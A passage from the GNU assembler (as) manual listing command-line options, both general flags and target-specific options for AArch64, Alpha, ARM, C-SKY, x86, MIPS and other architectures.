Issue warnings when difference tables altered for long displacements.

-L

–keep-locals

Keep (in the symbol table) local symbols. These symbols start with system-specific local label prefixes, typically .L for ELF systems or L for traditional a.out systems.

–listing-lhs-width=number
Set the maximum width, in words, of the output data column for an assembler listing to number.

–listing-lhs-width2=number
Set the maximum width, in words, of the output data column for continuation lines in an assembler listing to number.

–listing-rhs-width=number
Set the maximum width of an input source line, as displayed in a listing, to number bytes.

–listing-cont-lines=number
Set the maximum number of lines printed in a listing for a single line of input to number + 1.

–multibyte-handling=allow

–multibyte-handling=warn

–multibyte-handling=warn-sym-only

–multibyte-handling=warn_sym_only

Controls how the assembler handles multibyte characters in the input. The default (which can be restored by using the allow argument) is to allow such characters without complaint. Using the warn argument will make the assembler generate a warning message whenever any multibyte character is encountered. Using the warn-sym-only argument will only cause a warning to be generated when a symbol is defined with a name that contains multibyte characters. (References to undefined symbols will not generate a warning).

–no-pad-sections
Stop the assembler for padding the ends of output sections to the alignment of that section. The default is to pad the sections, but this can waste space which might be needed on targets which have tight memory constraints.

-o objfile
Name the object-file output from as objfile.

-R
Fold the data section into the text section.

–reduce-memory-overheads
Ignored. Supported for compatibility with tools that pass the same option to both the assembler and the linker.

–scfi=experimental
This option controls whether the assembler should synthesize CFI for hand-written input. If the input already contains some synthesizable CFI directives, the assembler ignores them and emits a warning. Note that --scfi=experimental is not intended to be used for compiler-generated code, including inline assembly. This experimental support is work in progress. Only System V AMD64 ABI is supported. Each input function in assembly must begin with the .type directive, and should ideally be closed off using a .size directive. When using SCFI, each .type directive prompts GAS to start a new FDE (a.k.a., Function Descriptor Entry). This implies that with each .type directive, a previous block of instructions, if any, is finalised as a distinct FDE.

–sectname-subst
Honor substitution sequences in section names.

–size-check=error

–size-check=warning

Issue an error or warning for invalid ELF .size directive.

–statistics
Print the maximum space (in bytes) and total time (in seconds) used by assembly.

–strip-local-absolute
Remove local absolute symbols from the outgoing symbol table.

-v

-version

Print the as version.

–version
Print the as version and exit.

-W

–no-warn

Suppress warning messages.

–warn
Don’t suppress warning messages or treat them as errors.

–fatal-warnings
Treat warnings as errors.

-w
Ignored.

-x
Ignored.

-Z
Generate an object file even after errors.

– | files …
Standard input, or source files to assemble.

The following options are available when as is configured for the 64-bit mode of the ARM Architecture (AArch64).

-EB
This option specifies that the output generated by the assembler should be marked as being encoded for a big-endian processor.

-EL
This option specifies that the output generated by the assembler should be marked as being encoded for a little-endian processor.

-mabi=abi
Specify which ABI the source code uses. The recognized arguments are: ilp32 and lp64, which decides the generated object file in ELF32 and ELF64 format respectively. The default is lp64.

-mcpu=processor[+extension…]
This option specifies the target processor. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: cortex-a34, cortex-a35, cortex-a53, cortex-a55, cortex-a57, cortex-a65, cortex-a65ae, cortex-a72, cortex-a73, cortex-a75, cortex-a76, cortex-a76ae, cortex-a77, cortex-a78, cortex-a78ae, cortex-a78c, cortex-a510, cortex-a520, cortex-a710, cortex-a720, ares, exynos-m1, falkor, neoverse-n1, neoverse-n2, neoverse-e1, neoverse-v1, qdf24xx, saphira, thunderx, vulcan, xgene1 xgene2, cortex-r82, cortex-x1, cortex-x2, cortex-x3, and cortex-x4. The special name all may be used to allow the assembler to accept instructions valid for any supported processor, including all optional extensions. In addition to the basic instruction set, the assembler can be told to accept, or restrict, various extension mnemonics that extend the processor. If some implementations of a particular processor can have an extension, then then those extensions are automatically enabled. Consequently, you will not normally have to specify any additional extensions.

-march=architecture[+extension…]
This option specifies the target architecture. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target architecture. The following architecture names are recognized: armv8-a, armv8.1-a, armv8.2-a, armv8.3-a, armv8.4-a armv8.5-a, armv8.6-a, armv8.7-a, armv8.8-a, armv8.9-a, armv8-r, armv9-a, armv9.1-a, armv9.2-a, armv9.3-a, armv9.4-a and armv9.5-a. If both -mcpu and -march are specified, the assembler will use the setting for -mcpu. If neither are specified, the assembler will default to -mcpu=all. The architecture option can be extended with the same instruction set extension options as the -mcpu option. Unlike -mcpu, extensions are not always enabled by default.

-mverbose-error
This option enables verbose error messages for AArch64 gas. This option is enabled by default.

-mno-verbose-error
This option disables verbose error messages in AArch64 gas.

The following options are available when as is configured for an Alpha processor.

-mcpu
This option specifies the target processor. If an attempt is made to assemble an instruction which will not execute on the target processor, the assembler may either expand the instruction as a macro or issue an error message. This option is equivalent to the .arch directive. The following processor names are recognized: 21064, 21064a, 21066, 21068, 21164, 21164a, 21164pc, 21264, 21264a, 21264b, ev4, ev5, lca45, ev5, ev56, pca56, ev6, ev67, ev68. The special name all may be used to allow the assembler to accept instructions valid for any Alpha processor. In order to support existing practice in OSF/1 with respect to .arch, and existing practice within MILO (the Linux ARC bootloader), the numbered processor names (e.g. 21064) enable the processor-specific PALcode instructions, while the “electro-vlasic” names (e.g. ev4) do not.

-mdebug

-no-mdebug

Enables or disables the generation of .mdebug encapsulation for stabs directives and procedure descriptors. The default is to automatically enable .mdebug when the first stabs directive is seen.

-relax
This option forces all relocations to be put into the object file, instead of saving space and resolving some relocations at assembly time. Note that this option does not propagate all symbol arithmetic into the object file, because not all symbol arithmetic can be represented. However, the option can still be useful in specific applications.

-replace

-noreplace

Enables or disables the optimization of procedure calls, both at assemblage and at link time. These options are only available for VMS targets and -replace is the default. See section 1.4.1 of the OpenVMS Linker Utility Manual.

-g
This option is used when the compiler generates debug information. When gcc is using mips-tfile to generate debug information for ECOFF, local labels must be passed through to the object file. Otherwise this option has no effect.

-Gsize
A local common symbol larger than size is placed in .bss, while smaller symbols are placed in .sbss.

-F

-32addr

These options are ignored for backward compatibility.

The following options are available when as is configured for an ARC processor.

-mcpu=cpu
This option selects the core processor variant.

-EB | -EL
Select either big-endian (-EB) or little-endian (-EL) output.

-mcode-density
Enable Code Density extension instructions.

The following options are available when as is configured for the ARM processor family.

-mcpu=processor[+extension…]
Specify which ARM processor variant is the target.

-march=architecture[+extension…]
Specify which ARM architecture variant is used by the target.

-mfpu=floating-point-format
Select which Floating Point architecture is the target.

-mfloat-abi=abi
Select which floating point ABI is in use.

-mthumb
Enable Thumb only instruction decoding.

-mapcs-32 | -mapcs-26 | -mapcs-float | -mapcs-reentrant
Select which procedure calling convention is in use.

-EB | -EL
Select either big-endian (-EB) or little-endian (-EL) output.

-mthumb-interwork
Specify that the code has been generated with interworking between Thumb and ARM code in mind.

-mccs
Turns on CodeComposer Studio assembly syntax compatibility mode.

-k
Specify that PIC code has been generated.

The following options are available when as is configured for the Blackfin processor family.

-mcpu=processor[-sirevision]
This option specifies the target processor. The optional sirevision is not used in assembler. It’s here such that GCC can easily pass down its -mcpu= option. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: bf504, bf506, bf512, bf514, bf516, bf518, bf522, bf523, bf524, bf525, bf526, bf527, bf531, bf532, bf533, bf534, bf535 (not implemented yet), bf536, bf537, bf538, bf539, bf542, bf542m, bf544, bf544m, bf547, bf547m, bf548, bf548m, bf549, bf549m, bf561, and bf592.

-mfdpic
Assemble for the FDPIC ABI.

-mno-fdpic

-mnopic

Disable -mfdpic.

The following options are available when as is configured for the Linux kernel BPF processor family.

@chapter BPF Dependent Features

BPF Options

-EB
This option specifies that the assembler should emit big-endian eBPF.

-EL
This option specifies that the assembler should emit little-endian eBPF.

-mdialect=dialect
This option specifies the assembly language dialect to recognize while assembling. The assembler supports normal and pseudoc.

-misa-spec=spec
This option specifies the version of the BPF instruction set to use when assembling. The BPF ISA versions supported are v1 v2, v3 and v4. The value xbpf can be specified to recognize extra instructions that are used by GCC for testing purposes. But beware this is not valid BPF.

-mno-relax
This option tells the assembler to not relax instructions.

Note that if no endianness option is specified in the command line, the host endianness is used. See the info pages for documentation of the CRIS-specific options.

The following options are available when as is configured for the C-SKY processor family.

-march=archname
Assemble for architecture archname. The –help option lists valid values for archname.

-mcpu=cpuname
Assemble for architecture cpuname. The –help option lists valid values for cpuname.

-EL

-mlittle-endian

Generate little-endian output.

-EB

-mbig-endian

Generate big-endian output.

-fpic

-pic

Generate position-independent code.

-mljump

-mno-ljump

Enable/disable transformation of the short branch instructions jbf, jbt, and jbr to jmpi. This option is for V2 processors only. It is ignored on CK801 and CK802 targets, which do not support the jmpi instruction, and is enabled by default for other processors.

-mbranch-stub

-mno-branch-stub

Pass through R_CKCORE_PCREL_IMM26BY2 relocations for bsr instructions to the linker. This option is only available for bare-metal C-SKY V2 ELF targets, where it is enabled by default. It cannot be used in code that will be dynamically linked against shared libraries.

-force2bsr

-mforce2bsr

-no-force2bsr

-mno-force2bsr

Enable/disable transformation of jbsr instructions to bsr. This option is always enabled (and -mno-force2bsr is ignored) for CK801/CK802 targets. It is also always enabled when -mbranch-stub is in effect.

-jsri2bsr

-mjsri2bsr

-no-jsri2bsr

-mno-jsri2bsr

Enable/disable transformation of jsri instructions to bsr. This option is enabled by default.

-mnolrw

-mno-lrw

Enable/disable transformation of lrw instructions into a movih/ori pair.

-melrw

-mno-elrw

Enable/disable extended lrw instructions. This option is enabled by default for CK800-series processors.

-mlaf

-mliterals-after-func

-mno-laf

-mno-literals-after-func

Enable/disable placement of literal pools after each function.

-mlabr

-mliterals-after-br

-mno-labr

-mnoliterals-after-br

Enable/disable placement of literal pools after unconditional branches. This option is enabled by default.

-mistack

-mno-istack

Enable/disable interrupt stack instructions. This option is enabled by default on CK801, CK802, and CK802 processors.

The following options explicitly enable certain optional instructions. These features are also enabled implicitly by using -mcpu= to specify a processor that supports it.

-mhard-float
Enable hard float instructions.

-mmp
Enable multiprocessor instructions.

-mcp
Enable coprocessor instructions.

-mcache
Enable cache prefetch instruction.

-msecurity
Enable C-SKY security instructions.

-mtrust
Enable C-SKY trust instructions.

-mdsp
Enable DSP instructions.

-medsp
Enable enhanced DSP instructions.

-mvdsp
Enable vector DSP instructions.

The following options are available when as is configured for an Epiphany processor.

-mepiphany
Specifies that the both 32 and 16 bit instructions are allowed. This is the default behavior.

-mepiphany16
Restricts the permitted instructions to just the 16 bit set.

The following options are available when as is configured for an H8/300 processor. @chapter H8/300 Dependent Features

Options

The Renesas H8/300 version of as has one machine-dependent option:

-h-tick-hex
Support H'00 style hex constants in addition to 0x00 style.

-mach=name
Sets the H8300 machine variant. The following machine names are recognised: h8300h, h8300hn, h8300s, h8300sn, h8300sx and h8300sxn.

The following options are available when as is configured for an i386 processor.

–32 | –x32 | –64
Select the word size, either 32 bits or 64 bits. –32 implies Intel i386 architecture, while –x32 and –64 imply AMD x86-64 architecture with 32-bit or 64-bit word-size respectively. These options are only available with the ELF object file format, and require that the necessary BFD support has been included (on a 32-bit platform you have to add –enable-64-bit-bfd to configure enable 64-bit usage and use x86-64 as target platform).

-n
By default, x86 GAS replaces multiple nop instructions used for alignment within code sections with multi-byte nop instructions such as leal 0(%esi,1),%esi. This switch disables the optimization if a single byte nop (0x90) is explicitly specified as the fill byte for alignment.

–divide
On SVR4-derived platforms, the character / is treated as a comment character, which means that it cannot be used in expressions. The –divide option turns / into a normal character. This does not disable / at the beginning of a line starting a comment, or affect using # for starting a comment.

-march=CPU[+EXTENSION…]
This option specifies the target processor. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: i8086, i186, i286, i386, i486, i586, i686, pentium, pentiumpro, pentiumii, pentiumiii, pentium4, prescott, nocona, core, core2, corei7, iamcu, k6, k6_2, athlon, opteron, k8, amdfam10, bdver1, bdver2, bdver3, bdver4, znver1, znver2, znver3, znver4, znver5, btver1, btver2, generic32 and generic64. In addition to the basic instruction set, the assembler can be told to accept various extension mnemonics. For example, -march=i686+sse4+vmx extends i686 with sse4 and vmx. The following extensions are currently supported: 8087, 287, 387, 687, cmov, fxsr, mmx, sse, sse2, sse3, sse4a, ssse3, sse4.1, sse4.2, sse4, avx, avx2, lahf_sahf, monitor, adx, rdseed, prfchw, smap, mpx, sha, rdpid, ptwrite, cet, gfni, vaes, vpclmulqdq, prefetchwt1, clflushopt, se1, clwb, movdiri, movdir64b, enqcmd, serialize, tsxldtrk, kl, widekl, hreset, avx512f, avx512cd, avx512er, avx512pf, avx512vl, avx512bw, avx512dq, avx512ifma, avx512vbmi, avx512_4fmaps, avx512_4vnniw, avx512_vpopcntdq, avx512_vbmi2, avx512_vnni, avx512_bitalg, avx512_vp2intersect, tdx, avx512_bf16, avx_vnni, avx512_fp16, prefetchi, avx_ifma, avx_vnni_int8, cmpccxadd, wrmsrns, msrlist, avx_ne_convert, rao_int, fred, lkgs, avx_vnni_int16, sha512, sm3, sm4, pbndkb, avx10.1, avx10.1/512, avx10.1/256, avx10.1/128, user_msr, apx_f, amx_int8, amx_bf16, amx_fp16, amx_complex, amx_tile, vmx, vmfunc, smx, xsave, xsaveopt, xsavec, xsaves, aes, pclmul, fsgsbase, rdrnd, f16c, bmi2, fma, movbe, ept, lzcnt, popcnt, hle, rtm, tsx, invpcid, clflush, mwaitx, clzero, wbnoinvd, pconfig, waitpkg, uintr, cldemote, rdpru, mcommit, sev_es, lwp, fma4, xop, cx16, syscall, rdtscp, 3dnow, 3dnowa, sse4a, sse5, snp, invlpgb, tlbsync, svme and padlock. Note that these extension mnemonics can be prefixed with no to revoke the respective (and any dependent) functionality. Note further that the suffixes permitted on -march=avx10.<N> enforce a vector length restriction, i.e. despite these otherwise being “enabling” options, using these suffixes will disable all insns with wider vector or mask register operands. When the .arch directive is used with -march, the .arch directive will take precedent.

-mtune=CPU
This option specifies a processor to optimize for. When used in conjunction with the -march option, only instructions of the processor specified by the -march option will be generated. Valid CPU values are identical to the processor list of **-march=**CPU.

-moperand-check=none

-moperand-check=warning

-moperand-check=error

These options control if the assembler should check certain instruction operands or operand combinations. An example instructions where operand size cannot be inferred from its operands and also hasn’t been specified by way of an instruction suffix. **-moperand-check=**none will make the assembler not perform these checks. **-moperand-check=**warning will make the assembler issue a warning when respective checks fail, which is the default. **-moperand-check=**error will make the assembler issue an error when respective checks fail.

-msse2avx
This option specifies that the assembler should encode SSE instructions with VEX prefix, requiring AVX to be available. SSE instructions using extended GPRs will be encoded with EVEX prefix, requiring AVX512 or AVX10 to be available.

-muse-unaligned-vector-move
This option specifies that the assembler should encode aligned vector move as unaligned vector move.

-msse-check=none

-msse-check=warning

-msse-check=error

These options control if the assembler should check SSE instructions. **-msse-check=**none will make the assembler not to check SSE instructions, which is the default. **-msse-check=**warning will make the assembler issue a warning for any SSE instruction. **-msse-check=**error will make the assembler issue an error for any SSE instruction.

-mavxscalar=128

-mavxscalar=256

These options control how the assembler should encode scalar AVX instructions. **-mavxscalar=**128 will encode scalar AVX instructions with 128bit vector length, which is the default. **-mavxscalar=**256 will encode scalar AVX instructions with 256bit vector length. WARNING: Don’t use this for production code - due to CPU errata the resulting code may not work on certain models.

-mvexwig=0

-mvexwig=1

These options control how the assembler should encode VEX.W-ignored (WIG) VEX instructions. **-mvexwig=**0 will encode WIG VEX instructions with vex.w = 0, which is the default. **-mvexwig=**1 will encode WIG EVEX instructions with vex.w = 1. WARNING: Don’t use this for production code - due to CPU errata the resulting code may not work on certain models.

-mevexlig=128

-mevexlig=256

-mevexlig=512

These options control how the assembler should encode length-ignored (LIG) EVEX instructions. **-mevexlig=**128 will encode LIG EVEX instructions with 128bit vector length, which is the default. **-mevexlig=**256 and **-mevexlig=**512 will encode LIG EVEX instructions with 256bit and 512bit vector length, respectively.

-mevexwig=0

-mevexwig=1

These options control how the assembler should encode w-ignored (WIG) EVEX instructions. **-mevexwig=**0 will encode WIG EVEX instructions with evex.w = 0, which is the default. **-mevexwig=**1 will encode WIG EVEX instructions with evex.w = 1.

-mmnemonic=att

-mmnemonic=intel

This option specifies instruction mnemonic for matching instructions. The .att_mnemonic and .intel_mnemonic directives will take precedent.

-msyntax=att

-msyntax=intel

This option specifies instruction syntax when processing instructions. The .att_syntax and .intel_syntax directives will take precedent.

-mnaked-reg
This option specifies that registers don’t require a % prefix. The .att_syntax and .intel_syntax directives will take precedent.

-madd-bnd-prefix
This option forces the assembler to add BND prefix to all branches, even if such prefix was not explicitly specified in the source code.

-mno-shared
On ELF target, the assembler normally optimizes out non-PLT relocations against defined non-weak global branch targets with default visibility. The -mshared option tells the assembler to generate code which may go into a shared library where all non-weak global branch targets with default visibility can be preempted. The resulting code is slightly bigger. This option only affects the handling of branch instructions.

-mbig-obj
On PE/COFF target this option forces the use of big object file format, which allows more than 32768 sections.

-momit-lock-prefix=no

-momit-lock-prefix=yes

These options control how the assembler should encode lock prefix. This option is intended as a workaround for processors, that fail on lock prefix. This option can only be safely used with single-core, single-thread computers **-momit-lock-prefix=**yes will omit all lock prefixes. **-momit-lock-prefix=**no will encode lock prefix as usual, which is the default.

-mfence-as-lock-add=no

-mfence-as-lock-add=yes

These options control how the assembler should encode lfence, mfence and sfence. **-mfence-as-lock-add=**yes will encode lfence, mfence and sfence as lock addl $0x0, (%rsp) in 64-bit mode and lock addl $0x0, (%esp) in 32-bit mode. **-mfence-as-lock-add=**no will encode lfence, mfence and sfence as usual, which is the default.

-mrelax-relocations=no

-mrelax-relocations=yes

These options control whether the assembler should generate relax relocations, R_386_GOT32X, in 32-bit mode, or R_X86_64_GOTPCRELX and R_X86_64_REX_GOTPCRELX, in 64-bit mode. **-mrelax-relocations=**yes will generate relax relocations. **-mrelax-relocations=**no will not generate relax relocations. The default can be controlled by a configure option –enable-x86-relax-relocations.

-malign-branch-boundary=NUM
This option controls how the assembler should align branches with segment prefixes or NOP. NUM must be a power of 2. It should be 0 or no less than 16. Branches will be aligned within NUM byte boundary. -malign-branch-boundary=0, which is the default, doesn’t align branches.

-malign-branch=TYPE[+TYPE…]
This option specifies types of branches to align. TYPE is combination of jcc, which aligns conditional jumps, fused, which aligns fused conditional jumps, jmp, which aligns unconditional jumps, call which aligns calls, ret, which aligns rets, indirect, which aligns indirect jumps and calls. The default is -malign-branch=jcc+fused+jmp.

-malign-branch-prefix-size=NUM
This option specifies the maximum number of prefixes on an instruction to align branches. NUM should be between 0 and 5. The default NUM is 5.

-mbranches-within-32B-boundaries
This option aligns conditional jumps, fused conditional jumps and unconditional jumps within 32 byte boundary with up to 5 segment prefixes on an instruction. It is equivalent to -malign-branch-boundary=32 -malign-branch=jcc+fused+jmp -malign-branch-prefix-size=5. The default doesn’t align branches.

-mlfence-after-load=no

-mlfence-after-load=yes

These options control whether the assembler should generate lfence after load instructions. **-mlfence-after-load=**yes will generate lfence. **-mlfence-after-load=**no will not generate lfence, which is the default.

-mlfence-before-indirect-branch=none

-mlfence-before-indirect-branch=all

-mlfence-before-indirect-branch=register

-mlfence-before-indirect-branch=memory

These options control whether the assembler should generate lfence before indirect near branch instructions. **-mlfence-before-indirect-branch=**all will generate lfence before indirect near branch via register and issue a warning before indirect near branch via memory. It also implicitly sets **-mlfence-before-ret=**shl when there’s no explicit -mlfence-before-ret=. **-mlfence-before-indirect-branch=**register will generate lfence before indirect near branch via register. **-mlfence-before-indirect-branch=**memory will issue a warning before indirect near branch via memory. **-mlfence-before-indirect-branch=**none will not generate lfence nor issue warning, which is the default. Note that lfence won’t be generated before indirect near branch via register with **-mlfence-after-load=**yes since lfence will be generated after loading branch target register.

-mlfence-before-ret=none

-mlfence-before-ret=shl

-mlfence-before-ret=or

-mlfence-before-ret=yes

-mlfence-before-ret=not

These options control whether the assembler should generate lfence before ret. **-mlfence-before-ret=**or will generate generate or instruction with lfence. **-mlfence-before-ret=**shl/yes will generate shl instruction with lfence. **-mlfence-before-ret=**not will generate not instruction with lfence. **-mlfence-before-ret=**none will not generate lfence, which is the default.

-mx86-used-note=no

-mx86-used-note=yes

These options control whether the assembler should generate GNU_PROPERTY_X86_ISA_1_USED and GNU_PROPERTY_X86_FEATURE_2_USED GNU property notes. The default can be controlled by the –enable-x86-used-note configure option.

-mevexrcig=rne

-mevexrcig=rd

-mevexrcig=ru

-mevexrcig=rz

These options control how the assembler should encode SAE-only EVEX instructions. **-mevexrcig=**rne will encode RC bits of EVEX instruction with 00, which is the default. **-mevexrcig=**rd, **-mevexrcig=**ru and **-mevexrcig=**rz will encode SAE-only EVEX instructions with 01, 10 and 11 RC bits, respectively.

-mamd64

-mintel64

This option specifies that the assembler should accept only AMD64 or Intel64 ISA in 64-bit mode. The default is to accept common, Intel64 only and AMD64 ISAs.

-O0 | -O | -O1 | -O2 | -Os
Optimize instruction encoding with smaller instruction size. -O and -O1 encode 64-bit register load instructions with 64-bit immediate as 32-bit register load instructions with 31-bit or 32-bits immediates, encode 64-bit register clearing instructions with 32-bit register clearing instructions, encode 256-bit/512-bit VEX/EVEX vector register clearing instructions with 128-bit VEX vector register clearing instructions, encode 128-bit/256-bit EVEX vector register load/store instructions with VEX vector register load/store instructions, and encode 128-bit/256-bit EVEX packed integer logical instructions with 128-bit/256-bit VEX packed integer logical. -O2 includes -O1 optimization plus encodes 256-bit/512-bit EVEX vector register clearing instructions with 128-bit EVEX vector register clearing instructions. In 64-bit mode VEX encoded instructions with commutative source operands will also have their source operands swapped if this allows using the 2-byte VEX prefix form instead of the 3-byte one. Certain forms of AND as well as OR with the same (register) operand specified twice will also be changed to TEST. -Os includes -O2 optimization plus encodes 16-bit, 32-bit and 64-bit register tests with immediate as 8-bit register test with immediate. -O0 turns off this optimization.

The following options are available when as is configured for the Ubicom IP2K series.

-mip2022ext
Specifies that the extended IP2022 instructions are allowed.

-mip2022
Restores the default behaviour, which restricts the permitted instructions to just the basic IP2022 ones.

The following options are available when as is configured for the Renesas M32C and M16C processors.

-m32c
Assemble M32C instructions.

-m16c
Assemble M16C instructions (the default).

-relax
Enable support for link-time relaxations.

-h-tick-hex
Support H'00 style hex constants in addition to 0x00 style.

The following options are available when as is configured for the Renesas M32R (formerly Mitsubishi M32R) series.

–m32rx
Specify which processor in the M32R family is the target. The default is normally the M32R, but this option changes it to the M32RX.

–warn-explicit-parallel-conflicts or –Wp
Produce warning messages when questionable parallel constructs are encountered.

–no-warn-explicit-parallel-conflicts or –Wnp
Do not produce warning messages when questionable parallel constructs are encountered.

The following options are available when as is configured for the Motorola 68000 series.

-l
Shorten references to undefined symbols, to one word instead of two.

-m68000 | -m68008 | -m68010 | -m68020 | -m68030

| -m68040 | -m68060 | -m68302 | -m68331 | -m68332

| -m68333 | -m68340 | -mcpu32 | -m5200

Specify what processor in the 68000 family is the target. The default is normally the 68020, but this can be changed at configuration time.

-m68881 | -m68882 | -mno-68881 | -mno-68882
The target machine does (or does not) have a floating-point coprocessor. The default is to assume a coprocessor for 68020, 68030, and cpu32. Although the basic 68000 is not compatible with the 68881, a combination of the two can be specified, since it’s possible to do emulation of the coprocessor instructions with the main processor.

-m68851 | -mno-68851
The target machine does (or does not) have a memory-management unit coprocessor. The default is to assume an MMU for 68020 and up.

The following options are available when as is configured for an Altera Nios II processor.

-relax-section
Replace identified out-of-range branches with PC-relative jmp sequences when possible. The generated code sequences are suitable for use in position-independent code, but there is a practical limit on the extended branch range because of the length of the sequences. This option is the default.

-relax-all
Replace branch instructions not determinable to be in range and all call instructions with jmp and callr sequences (respectively). This option generates absolute relocations against the target symbols and is not appropriate for position-independent code.

-no-relax
Do not replace any branches or calls.

-EB
Generate big-endian output.

-EL
Generate little-endian output. This is the default.

-march=architecture
This option specifies the target architecture. The assembler issues an error message if an attempt is made to assemble an instruction which will not execute on the target architecture. The following architecture names are recognized: r1, r2. The default is r1.

The following options are available when as is configured for a PRU processor.

-mlink-relax
Assume that LD would optimize LDI32 instructions by checking the upper 16 bits of the expression. If they are all zeros, then LD would shorten the LDI32 instruction to a single LDI. In such case as will output DIFF relocations for diff expressions.

-mno-link-relax
Assume that LD would not optimize LDI32 instructions. As a consequence, DIFF relocations will not be emitted.

-mno-warn-regname-label
Do not warn if a label name matches a register name. Usually assembler programmers will want this warning to be emitted. C compilers may want to turn this off.

The following options are available when as is configured for a MIPS processor.

-G num
This option sets the largest size of an object that can be referenced implicitly with the gp register. It is only accepted for targets that use ECOFF format, such as a DECstation running Ultrix. The default value is 8.

-EB
Generate “big endian” format output.

-EL
Generate “little endian” format output.

-mips1

-mips2

-mips3

-mips4

-mips5

-mips32

-mips32r2

-mips32r3

-mips32r5

-mips32r6

-mips64

-mips64r2

-mips64r3

-mips64r5

-mips64r6

Generate code for a particular MIPS Instruction Set Architecture level. -mips1 is an alias for -march=r3000, -mips2 is an alias for -march=r6000, -mips3 is an alias for -march=r4000 and -mips4 is an alias for -march=r8000. -mips5, -mips32, -mips32r2, -mips32r3, -mips32r5, -mips32r6, -mips64, -mips64r2, -mips64r3, -mips64r5, and -mips64r6 correspond to generic MIPS V, MIPS32, MIPS32 Release 2, MIPS32 Release 3, MIPS32 Release 5, MIPS32 Release 6, MIPS64, MIPS64 Release 2, MIPS64 Release 3, MIPS64 Release 5, and MIPS64 Release 6 ISA processors, respectively.

-march=cpu
Generate code for a particular MIPS CPU.

-mtune=cpu
Schedule and tune for a particular MIPS CPU.

-mfix7000

-mno-fix7000

Cause nops to be inserted if the read of the destination register of an mfhi or mflo instruction occurs in the following two instructions.

-mfix-rm7000

-mno-fix-rm7000

Cause nops to be inserted if a dmult or dmultu instruction is followed by a load instruction.

-mfix-r5900

-mno-fix-r5900

Do not attempt to schedule the preceding instruction into the delay slot of a branch instruction placed at the end of a short loop of six instructions or fewer and always schedule a nop instruction there instead. The short loop bug under certain conditions causes loops to execute only once or twice, due to a hardware bug in the R5900 chip.

-mdebug

-no-mdebug

Cause stabs-style debugging output to go into an ECOFF-style .mdebug section instead of the standard ELF .stabs sections.

-mpdr

-mno-pdr

Control generation of .pdr sections.

-mgp32

-mfp32

The register sizes are normally inferred from the ISA and ABI, but these flags force a certain group of registers to be treated as 32 bits wide at all times. -mgp32 controls the size of general-purpose registers and -mfp32 controls the size of floating-point registers.

-mgp64

-mfp64

The register sizes are normally inferred from the ISA and ABI, but these flags force a certain group of registers to be treated as 64 bits wide at all times. -mgp64 controls the size of general-purpose registers and -mfp64 controls the size of floating-point registers.

-mfpxx
The register sizes are normally inferred from the ISA and ABI, but using this flag in combination with -mabi=32 enables an ABI variant which will operate correctly with floating-point registers which are 32 or 64 bits wide.

-modd-spreg

-mno-odd-spreg

Enable use of floating-point operations on odd-numbered single-precision registers when supported by the ISA. -mfpxx implies -mno-odd-spreg, otherwise the default is -modd-spreg.

-mips16

-no-mips16

Generate code for the MIPS 16 processor. This is equivalent to putting .module mips16 at the start of the assembly file. -no-mips16 turns off this option.

-mmips16e2

-mno-mips16e2

Enable the use of MIPS16e2 instructions in MIPS16 mode. This is equivalent to putting .module mips16e2 at the start of the assembly file. -mno-mips16e2 turns off this option.

-mmicromips

-mno-micromips

Generate code for the microMIPS processor. This is equivalent to putting .module micromips at the start of the assembly file. -mno-micromips turns off this option. This is equivalent to putting .module nomicromips at the start of the assembly file.

-msmartmips

-mno-smartmips

Enables the SmartMIPS extension to the MIPS32 instruction set. This is equivalent to putting .module smartmips at the start of the assembly file. -mno-smartmips turns off this option.

-mips3d

-no-mips3d

Generate code for the MIPS-3D Application Specific Extension. This tells the assembler to accept MIPS-3D instructions. -no-mips3d turns off this option.

-mdmx

-no-mdmx

Generate code for the MDMX Application Specific Extension. This tells the assembler to accept MDMX instructions. -no-mdmx turns off this option.

-mdsp

-mno-dsp

Generate code for the DSP Release 1 Application Specific Extension. This tells the assembler to accept DSP Release 1 instructions. -mno-dsp turns off this option.

-mdspr2

-mno-dspr2

Generate code for the DSP Release 2 Application Specific Extension. This option implies -mdsp. This tells the assembler to accept DSP Release 2 instructions. -mno-dspr2 turns off this option.

-mdspr3

-mno-dspr3

Generate code for the DSP Release 3 Application Specific Extension. This option implies -mdsp and -mdspr2. This tells the assembler to accept DSP Release 3 instructions. -mno-dspr3 turns off this option.

-mmsa

-mno-msa

Generate code for the MIPS SIMD Architecture Extension. This tells the assembler to accept MSA instructions. -mno-msa turns off this option.

-mxpa

-mno-xpa

Generate code for the MIPS eXtended Physical Address (XPA) Extension. This tells the assembler to accept XPA instructions. -mno-xpa turns off this option.

-mmt

-mno-mt

Generate code for the MT Application Specific Extension. This tells the assembler to accept MT instructions. -mno-mt turns off this option.

-mmcu

-mno-mcu

Generate code for the MCU Application Specific Extension. This tells the assembler to accept MCU instructions. -mno-mcu turns off this option.

-mcrc

-mno-crc

Generate code for the MIPS cyclic redundancy check (CRC) Application Specific Extension. This tells the assembler to accept CRC instructions. -mno-crc turns off this option.

-mginv

-mno-ginv

Generate code for the Global INValidate (GINV) Application Specific Extension. This tells the assembler to accept GINV instructions. -mno-ginv turns off this option.

-mloongson-mmi

-mno-loongson-mmi

Generate code for the Loongson MultiMedia extensions Instructions (MMI) Application Specific Extension. This tells the assembler to accept MMI instructions. -mno-loongson-mmi turns off this option.

-mloongson-cam

-mno-loongson-cam

Generate code for the Loongson Content Address Memory (CAM) instructions. This tells the assembler to accept Loongson CAM instructions. -mno-loongson-cam turns off this option.

-mloongson-ext

-mno-loongson-ext

Generate code for the Loongson EXTensions (EXT) instructions. This tells the assembler to accept Loongson EXT instructions. -mno-loongson-ext turns off this option.

-mloongson-ext2

-mno-loongson-ext2

Generate code for the Loongson EXTensions R2 (EXT2) instructions. This option implies -mloongson-ext. This tells the assembler to accept Loongson EXT2 instructions. -mno-loongson-ext2 turns off this option.

-minsn32

-mno-insn32

Only use 32-bit instruction encodings when generating code for the microMIPS processor. This option inhibits the use of any 16-bit instructions. This is equivalent to putting .set insn32 at the start of the assembly file. -mno-insn32 turns off this option. This is equivalent to putting .set noinsn32 at the start of the assembly file. By default -mno-insn32 is selected, allowing all instructions to be used.

–construct-floats

–no-construct-floats

The –no-construct-floats option disables the construction of double width floating point constants by loading the two halves of the value into the two single width floating point registers that make up the double width register. By default –construct-floats is selected, allowing construction of these floating point constants.

–relax-branch

